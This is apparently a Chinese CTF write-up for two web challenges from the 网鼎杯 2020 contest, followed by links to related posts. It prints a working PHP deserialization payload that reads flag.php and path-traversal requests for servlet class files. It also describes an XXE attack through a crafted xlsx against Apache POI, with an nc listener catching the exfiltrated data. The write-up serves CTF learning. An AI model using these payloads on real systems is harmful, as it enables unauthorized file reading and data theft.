AreUSerialz

打开题目直接给出了源代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]:
";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }
简单代码审计,发现如下几个关键点:
(1)在process函数中,用的是 == , 而析构函数中用的是 === ,因此我们让 op=2,即可绕过析构函数对op的赋值。
 
(2)反序列化之前会做逐字判断,ascii必须>=32或<=125,由于这里是protected类型,需要加上%00进行标识,由于%00被url解码后ascii值为0,不在32-125中,所以会返回false,那么就可以就用十六进制\00和S绕过。
 
(3)flag在当前目录的flag.php文件中
 
构造POC :
<?php
class FileHandler {
protected $op=2;
protected $filename="flag.php";
protected $content;
} $a= new FileHandler();
$a=serialize($a);
echo $a; //O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

将%00替换为\00,然后将s->S

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:10:"./flag.php";S:10:"\00*\00content";N;}

对这道题说来,直接改成private类型也可以,如:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}

javafile

打开题目时个上传界面
上传之后可以进行下载
猜测下载的时候可能存在目录穿越漏洞,在结合题目名称,这是一个Javaweb,考虑读取web.xml文件
 
 
浏览发现有几个可以下载的配置文件;这里看到和文件上传有关系,所以就下载文件上传方面的class文件进行审计即可,这里我全下载下来了
?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

得到class文件之后用JD-GUI打开,进行代码审计,upload这里有一个对文件名、后缀是否为excel-开头和xlsx结尾进行的判断

这里先判断了文件名是否为“excel-” 然后又判断了文件是否是以xlsx为结尾;这里又是java环境,又在上图的文件里可以看到引入了Apache POI OpenXML parser且为存在漏洞的3.10版本,所以不难让人想到可能是利用xlsx构造xml进行文件读取了,和docx的xml差不多是一个原理,又可以和软链接攻击相比较类似,都是基于压缩包进行的。( https://www.jianshu.com/p/73cd11d83c30  )

新建一个excel文件,将后缀名改为zip,然后解压
修改[Content_Types].xml
然后把文件压缩回zip,并修改后缀为xlsx
 
然后在服务器上创建一个dtd文件:file.dtd,内容如下:
 
然后服务器开启监听  nc -lvvp 2333
本地上传excel-vege.xlsx文件
 
上传成功后,服务器接收到flag
 
 

notes

(JS原型链污染。 不太会。 待补)

【网鼎杯2020青龙组】Web WriteUp的更多相关文章

  1. 网鼎杯2020青龙组writeup-web

    本文首发于Leon的Blog,如需转载请注明原创地址并联系作者 AreUSerialz 开题即送源码: <?php include("flag.php"); highligh ...

  2. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  3. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  4. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  5. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  6. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  7. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

随机推荐

  1. Kubernetes:健康检查

    Blog:博客园 个人 应用在运行过程中难免会出现错误,如程序异常.软件异常.硬件故障.网络故障等.因此,系统通过一些手段来判断应用是否运行正常,这些手段称之为健康检查(诊断). 前置知识 回顾一下P ...

  2. Asp-Net-Core开发笔记:使用NPM和gulp管理前端静态文件

    前言 本文介绍的是AspNetCore的MVC项目,WebApi+独立前端这种前后端分离的项目就不需要多此一举了~默认前端小伙伴是懂得使用前端工具链的. 为啥要用MVC这种服务端渲染技术呢? 简单项目 ...

  3. 数据分析实际案例之:pandas在泰坦尼特号乘客数据中的使用

    目录 简介 泰坦尼特号乘客数据 使用pandas对数据进行分析 引入依赖包 读取和分析数据 图形化表示和矩阵转换 简介 1912年4月15日,号称永不沉没的泰坦尼克号因为和冰山相撞沉没了.因为没有足够 ...

  4. Linux mysql8.0.11安装

    准备:检查是否已安装过mysql,若有便删除(linux系统自带的) rpm -qa | grep mariadb rpm -e nodeps mariadb-libs-5.5.56-2.el7.x8 ...

  5. [Matlab]二维统计分析图实例

    常见的二维统计分析图形: bar(x,y,选项) 条形图 stairs(x,y,选项) 阶梯图 stem(x,y,选项) 杆图 fill(x1,y1,选项1,x2,y2,选项2,--) 填充图 实例: ...

  6. shell脚本加密方式

    --作者:飞翔的小胖猪 --创建时间:2021年5月17日 --修改时间:2021年5月17日 说明 shell作为Linux操作系统中原生的语言环境,由于其简单.便捷.可以移植等特性常被运维人员作为 ...

  7. Python:numpy.ma模块

    翻译总结自:The numpy.ma module - NumPy v1.21 Manual 前言 ma是Mask的缩写,关于Mask的解释,如果有PS的基础,可以理解为蒙版,如果有计算机网络的基础, ...

  8. Qt:QWebChannel

    0.说明 QWebChannel的作用是将QObject展示给的HTML客户. QWebChannel是连接C++应用和HTML/JS应用的桥梁.通过把一个QObject传入QWebChannel并在 ...

  9. SQL Server用SPLIT函数分割字符串

      declare @str varchar(100),@sql varchar(1000)set @str='1,2,3,4,5,6,7,8,9,10'set @sql='select Value= ...

  10. (第一章第六部分)TensorFlow框架之实现线性回归小案例

    系列博客链接: (一)TensorFlow框架介绍:https://www.cnblogs.com/kongweisi/p/11038395.html (二)TensorFlow框架之图与Tensor ...